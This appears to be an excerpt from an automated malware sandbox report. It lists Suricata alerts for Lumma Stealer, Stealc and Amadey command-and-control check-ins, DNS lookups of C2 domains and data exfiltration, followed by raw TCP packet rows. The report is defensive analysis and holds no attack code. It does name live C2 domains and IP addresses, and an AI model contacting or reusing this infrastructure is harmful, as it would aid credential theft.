.taggant	0x30c000	0x3000	0x2200	9396496976500bee557f5413ffc211e2	False	0.06525735294117647	DOS executable (COM)	0.658045055105283	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-21T10:45:58.880526+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	61015	1.1.1.1	53	UDP
2024-10-21T10:45:58.890619+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	61906	1.1.1.1	53	UDP
2024-10-21T10:45:58.907193+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	63985	1.1.1.1	53	UDP
2024-10-21T10:45:58.937817+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	49535	1.1.1.1	53	UDP
2024-10-21T10:45:58.957239+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	57459	1.1.1.1	53	UDP
2024-10-21T10:45:58.980936+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	63543	1.1.1.1	53	UDP
2024-10-21T10:45:59.004585+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	61576	1.1.1.1	53	UDP
2024-10-21T10:45:59.046271+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	63944	1.1.1.1	53	UDP
2024-10-21T10:46:00.597483+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49730	104.102.49.254	443	TCP
2024-10-21T10:46:01.635022+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-21T10:46:01.635022+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-21T10:46:05.113087+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	172.67.206.204	443	TCP
2024-10-21T10:46:05.113087+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	172.67.206.204	443	TCP
2024-10-21T10:46:09.785984+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	172.67.206.204	443	TCP
2024-10-21T10:46:21.676213+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	172.67.206.204	443	TCP
2024-10-21T10:46:30.938512+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49746	185.215.113.37	80	TCP
2024-10-21T10:47:04.881613+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49834	185.215.113.43	80	TCP
2024-10-21T10:47:08.257073+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49855	185.215.113.16	80	TCP
2024-10-21T10:47:15.896721+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49850	TCP
2024-10-21T10:47:16.266114+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	50861	1.1.1.1	53	UDP
2024-10-21T10:47:16.278260+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	59475	1.1.1.1	53	UDP
2024-10-21T10:47:16.290202+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	56602	1.1.1.1	53	UDP
2024-10-21T10:47:16.300945+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	57887	1.1.1.1	53	UDP
2024-10-21T10:47:16.314031+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	61574	1.1.1.1	53	UDP
2024-10-21T10:47:16.324991+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	58327	1.1.1.1	53	UDP
2024-10-21T10:47:16.335861+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	62263	1.1.1.1	53	UDP
2024-10-21T10:47:16.347811+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	59482	1.1.1.1	53	UDP
2024-10-21T10:47:16.827450+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49906	185.215.113.43	80	TCP
2024-10-21T10:47:17.761441+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49914	185.215.113.16	80	TCP
2024-10-21T10:47:17.863158+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49908	104.102.49.254	443	TCP
2024-10-21T10:47:18.685980+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49920	172.67.206.204	443	TCP
2024-10-21T10:47:18.685980+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49920	172.67.206.204	443	TCP
2024-10-21T10:47:21.039011+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49926	172.67.206.204	443	TCP
2024-10-21T10:47:21.039011+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49926	172.67.206.204	443	TCP
2024-10-21T10:47:22.425216+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49942	185.215.113.43	80	TCP
2024-10-21T10:47:23.188555+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49947	185.215.113.37	80	TCP
2024-10-21T10:47:26.650391+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	55330	1.1.1.1	53	UDP
2024-10-21T10:47:27.443454+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49968	185.215.113.43	80	TCP
2024-10-21T10:47:27.465518+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	58510	1.1.1.1	53	UDP
2024-10-21T10:47:27.477944+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	51599	1.1.1.1	53	UDP
2024-10-21T10:47:27.491117+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	58468	1.1.1.1	53	UDP
2024-10-21T10:47:27.521351+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	50400	1.1.1.1	53	UDP
2024-10-21T10:47:27.552128+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	51735	1.1.1.1	53	UDP
2024-10-21T10:47:27.562563+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	58111	1.1.1.1	53	UDP
2024-10-21T10:47:27.572028+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	64664	1.1.1.1	53	UDP
2024-10-21T10:47:29.235206+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49978	104.102.49.254	443	TCP
2024-10-21T10:47:30.075147+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49989	172.67.206.204	443	TCP
2024-10-21T10:47:30.075147+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49989	172.67.206.204	443	TCP
2024-10-21T10:47:31.790592+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50000	185.215.113.43	80	TCP
2024-10-21T10:47:32.011483+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50001	172.67.206.204	443	TCP
2024-10-21T10:47:32.011483+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50001	172.67.206.204	443	TCP
2024-10-21T10:47:32.100786+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49998	104.102.49.254	443	TCP
2024-10-21T10:47:33.152014+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50011	172.67.206.204	443	TCP
2024-10-21T10:47:33.152014+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50011	172.67.206.204	443	TCP
2024-10-21T10:47:34.916692+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50023	172.67.206.204	443	TCP
2024-10-21T10:47:34.916692+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50023	172.67.206.204	443	TCP
2024-10-21T10:47:35.203072+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50025	185.215.113.37	80	TCP
2024-10-21T10:47:36.378466+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50033	172.67.206.204	443	TCP
2024-10-21T10:47:36.378466+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50033	172.67.206.204	443	TCP
2024-10-21T10:47:36.460988+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50036	185.215.113.43	80	TCP
2024-10-21T10:47:37.197097+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	62639	1.1.1.1	53	UDP
2024-10-21T10:47:37.206892+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	50478	1.1.1.1	53	UDP
2024-10-21T10:47:37.222221+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	49981	1.1.1.1	53	UDP
2024-10-21T10:47:37.235880+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	58462	1.1.1.1	53	UDP
2024-10-21T10:47:37.247162+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	55866	1.1.1.1	53	UDP
2024-10-21T10:47:37.279894+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	49761	1.1.1.1	53	UDP
2024-10-21T10:47:37.303236+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	50724	1.1.1.1	53	UDP
2024-10-21T10:47:37.315382+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	51151	1.1.1.1	53	UDP
2024-10-21T10:47:37.844875+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50047	172.67.206.204	443	TCP
2024-10-21T10:47:38.983434+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	50051	104.102.49.254	443	TCP
2024-10-21T10:47:39.780445+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50062	172.67.206.204	443	TCP
2024-10-21T10:47:39.780445+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50062	172.67.206.204	443	TCP
2024-10-21T10:47:40.592295+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50066	185.215.113.43	80	TCP
2024-10-21T10:47:41.967777+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50076	172.67.206.204	443	TCP
2024-10-21T10:47:41.967777+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50076	172.67.206.204	443	TCP
2024-10-21T10:47:44.570038+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50091	185.215.113.37	80	TCP
2024-10-21T10:47:44.761055+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50095	185.215.113.43	80	TCP
2024-10-21T10:47:47.286961+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	60777	1.1.1.1	53	UDP
2024-10-21T10:47:47.299956+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	63767	1.1.1.1	53	UDP
2024-10-21T10:47:47.313100+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	65366	1.1.1.1	53	UDP
2024-10-21T10:47:47.324974+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	50479	1.1.1.1	53	UDP
2024-10-21T10:47:47.336043+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	56503	1.1.1.1	53	UDP
2024-10-21T10:47:47.354402+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	50442	1.1.1.1	53	UDP
2024-10-21T10:47:47.366154+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	58454	1.1.1.1	53	UDP
2024-10-21T10:47:47.388175+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	51048	1.1.1.1	53	UDP
2024-10-21T10:47:49.040482+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	50109	104.102.49.254	443	TCP
2024-10-21T10:47:49.134706+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50112	185.215.113.43	80	TCP
2024-10-21T10:47:51.063450+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	50113	104.102.49.254	443	TCP
2024-10-21T10:47:53.323400+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50116	172.67.206.204	443	TCP
2024-10-21T10:47:54.859969+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50120	172.67.206.204	443	TCP
2024-10-21T10:47:55.022324+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50121	185.215.113.37	80	TCP
2024-10-21T10:47:55.810308+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50122	172.67.206.204	443	TCP
2024-10-21T10:47:57.328730+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50124	172.67.206.204	443	TCP
2024-10-21T10:48:03.001649+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	58813	1.1.1.1	53	UDP
2024-10-21T10:48:03.088510+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	63916	1.1.1.1	53	UDP
2024-10-21T10:48:03.398868+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	50001	1.1.1.1	53	UDP
2024-10-21T10:48:03.702042+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	54381	1.1.1.1	53	UDP
2024-10-21T10:48:03.712911+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	54522	1.1.1.1	53	UDP
2024-10-21T10:48:03.728807+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	51661	1.1.1.1	53	UDP
2024-10-21T10:48:03.739206+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	63560	1.1.1.1	53	UDP
2024-10-21T10:48:03.753311+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	55131	1.1.1.1	53	UDP
2024-10-21T10:48:05.278179+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	50130	104.102.49.254	443	TCP
2024-10-21T10:48:06.112938+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50131	172.67.206.204	443	TCP
2024-10-21T10:48:06.112938+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50131	172.67.206.204	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 10:45:59.089627028 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:45:59.089659929 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:45:59.089739084 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:45:59.096231937 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:45:59.096246004 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:45:59.943238974 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:45:59.943335056 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:45:59.947137117 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:45:59.947148085 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:45:59.947381973 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:45:59.999898911 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.047420025 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.597548008 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.597569942 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.597575903 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.597630024 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.597664118 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.597707987 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.597734928 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.597748041 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.597748041 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.597758055 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.597774029 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.614124060 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.614144087 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.614204884 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.614213943 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.614255905 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.623174906 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.623226881 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.623234034 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.623244047 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.623271942 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.623296976 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.625808954 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:46:00.625818968 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 21, 2024 10:46:00.644197941 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:00.644239902 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:00.644315958 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:00.644644022 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:00.644658089 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.271462917 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.271567106 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.274118900 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.274130106 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.274354935 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.275446892 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.275464058 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.275546074 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635026932 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635066032 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635099888 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635123968 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.635127068 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635143995 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635171890 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.635180950 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635214090 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.635224104 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635237932 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.635272980 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.641752958 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.641768932 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.906518936 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.906564951 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:01.906636953 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.906935930 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:01.906955004 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:02.528656960 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:02.528767109 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:02.530293941 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:02.530303001 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:02.530524969 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:02.531855106 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:02.531893969 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:02.531922102 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113091946 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113135099 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113197088 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113210917 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.113235950 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113274097 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.113277912 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113287926 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113333941 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.113341093 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113862991 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113909006 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.113910913 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113919020 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.113959074 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.233236074 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233289957 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233351946 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.233355045 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233364105 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233402967 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.233405113 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233413935 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233444929 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.233453035 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233520031 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233561039 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.233732939 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.233748913 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.233757019 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.233762026 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.345768929 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.345808983 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.345879078 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.346335888 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.346349955 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.969327927 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.969420910 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.970927000 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.970933914 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.971163988 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.972372055 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.972522020 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.972563982 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:05.972635984 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:05.972644091 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:09.785991907 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:09.786097050 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:09.786169052 CEST	49733	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:09.786330938 CEST	49733	443	192.168.2.4	172.67.206.204
